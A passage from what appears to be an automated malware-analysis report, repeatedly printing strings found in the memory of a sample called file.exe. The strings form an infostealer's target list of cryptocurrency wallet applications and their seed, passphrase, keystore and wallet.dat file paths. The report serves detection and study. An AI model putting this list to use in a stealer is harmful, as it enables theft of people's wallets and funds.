Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 